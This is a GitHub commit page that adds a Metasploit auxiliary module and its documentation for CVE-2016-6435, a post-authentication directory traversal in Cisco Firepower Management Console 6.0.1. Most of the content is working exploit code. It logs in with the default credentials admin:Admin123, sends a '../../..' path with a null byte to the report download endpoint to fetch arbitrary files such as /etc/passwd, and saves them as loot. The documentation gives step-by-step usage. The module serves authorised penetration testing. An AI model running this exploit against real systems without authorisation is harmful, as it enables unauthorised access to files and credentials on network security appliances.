Skip to content

Commit a4dd1fc

Browse files
author
Brent Cook
committed
Land rapid7#7805, Add CVE-2016-6435 - Cisco Firepower Management Console Dir Traversal
2 parents 38ea62f + 82ab4fc commit a4dd1fc

File tree

2 files changed

+199
-0
lines changed

2 files changed

+199
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
This module exploits a vulnerability found in Cisco Firepower Management console. A logged in
2+
user can abuse the report viewing feature to download an arbitrary file. Authentication is
3+
required to exploit this vulnerability.
4+
5+
6+
## Vulnerable Application
7+
8+
This module was written specifically against Cisco Firepower Management 6.0.1 (build 1213) during
9+
development. To test, you may download the virtual appliance here:
10+
11+
https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052
12+
13+
## Verification Steps
14+
15+
To use this module, first you need to know an username and password. The management console uses
16+
admin:Admin123 by default:
17+
18+
1. Start msfconsole
19+
2. ```use auxiliary/scanner/http/cisco_firepower_download```
20+
3. ```set USERNAME [user]```
21+
4. ```set PASSWORD [pass]```
22+
5. ```set RHOSTS [IP]```
23+
6. ```set FILEPATH [file to download]```
24+
7. ```run```
25+
26+
If the file is found, it will be saved in the loot directory. If not found, the module should
27+
print an error indicating so.
28+
29+
## Demo
30+
31+
![cisco_download_demo](https://cloud.githubusercontent.com/assets/1170914/21782825/78ada38e-d67a-11e6-9b7b-c7b8e2956fba.gif)
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal",
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in Cisco Firepower Management
19+
under the context of www user. Authentication is required to exploit this vulnerability.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Matt', # Original discovery && PoC
25+
'sinn3r', # Metasploit module
26+
],
27+
'References' =>
28+
[
29+
['CVE', '2016-6435'],
30+
['URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking']
31+
],
32+
'DisclosureDate' => "Oct 10 2016",
33+
'DefaultOptions' =>
34+
{
35+
'RPORT' => 443,
36+
'SSL' => true,
37+
'SSLVersion' => 'Auto'
38+
}
39+
))
40+
41+
register_options(
42+
[
43+
# admin:Admin123 is the default credential for 6.0.1
44+
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
45+
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
46+
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
47+
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd'])
48+
], self.class)
49+
50+
deregister_options('RHOST')
51+
end
52+
53+
def do_login(ip)
54+
console_user = datastore['USERNAME']
55+
console_pass = datastore['PASSWORD']
56+
uri = normalize_uri(target_uri.path, 'login.cgi')
57+
58+
print_status("Attempting to login in as #{console_user}:#{console_pass}")
59+
60+
res = send_request_cgi({
61+
'method' => 'POST',
62+
'uri' => uri,
63+
'vars_post' => {
64+
'username' => console_user,
65+
'password' => console_pass,
66+
'target' => ''
67+
}
68+
})
69+
70+
unless res
71+
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
72+
end
73+
74+
res_cookie = res.get_cookies
75+
if res.code == 302 && res_cookie.include?('CGISESSID')
76+
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
77+
vprint_status("CGI Session ID: #{cgi_sid}")
78+
print_good("Authenticated as #{console_user}:#{console_pass}")
79+
report_cred(ip: ip, username: console_user, password: console_pass)
80+
return cgi_sid
81+
end
82+
83+
nil
84+
end
85+
86+
def report_cred(opts)
87+
service_data = {
88+
address: opts[:ip],
89+
port: rport,
90+
service_name: 'cisco',
91+
protocol: 'tcp',
92+
workspace_id: myworkspace_id
93+
}
94+
95+
credential_data = {
96+
origin_type: :service,
97+
module_fullname: fullname,
98+
username: opts[:user],
99+
private_data: opts[:password],
100+
private_type: :password
101+
}.merge(service_data)
102+
103+
login_data = {
104+
last_attempted_at: DateTime.now,
105+
core: create_credential(credential_data),
106+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
107+
proof: opts[:proof]
108+
}.merge(service_data)
109+
110+
create_credential_login(login_data)
111+
end
112+
113+
def download_file(cgi_sid, file)
114+
file_path = "../../..#{Rex::FileUtils.normalize_unix_path(file)}\x00"
115+
print_status("Requesting: #{file_path}")
116+
send_request_cgi({
117+
'method' => 'GET',
118+
'cookie' => "CGISESSID=#{cgi_sid}",
119+
'uri' => normalize_uri(target_uri.path, 'events/reports/view.cgi'),
120+
'vars_get' => {
121+
'download' => '1',
122+
'files' => file_path
123+
}
124+
})
125+
end
126+
127+
def remote_file_exists?(res)
128+
(
129+
res.headers['Content-Disposition'] &&
130+
res.headers['Content-Disposition'].match(/attachment; filename=/) &&
131+
res.headers['Content-Type'] &&
132+
res.headers['Content-Type'] == 'application/octet-stream'
133+
)
134+
end
135+
136+
def save_file(res, ip)
137+
fname = res.headers['Content-Disposition'].scan(/filename=(.+)/).flatten.first || File.basename(datastore['FILEPATH'])
138+
139+
path = store_loot(
140+
'cisco.https',
141+
'application/octet-stream',
142+
ip,
143+
res.body,
144+
fname
145+
)
146+
147+
print_good("File saved in: #{path}")
148+
end
149+
150+
def run_host(ip)
151+
cgi_sid = do_login(ip)
152+
153+
unless cgi_sid
154+
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
155+
end
156+
157+
res = download_file(cgi_sid, datastore['FILEPATH'])
158+
159+
if res.nil?
160+
print_error("Connection timed out while downloading: #{datastore['FILEPATH']}")
161+
elsif remote_file_exists?(res)
162+
save_file(res, ip)
163+
else
164+
print_error("Remote file not found: #{datastore['FILEPATH']}")
165+
end
166+
end
167+
168+
end

0 commit comments

Comments
 (0)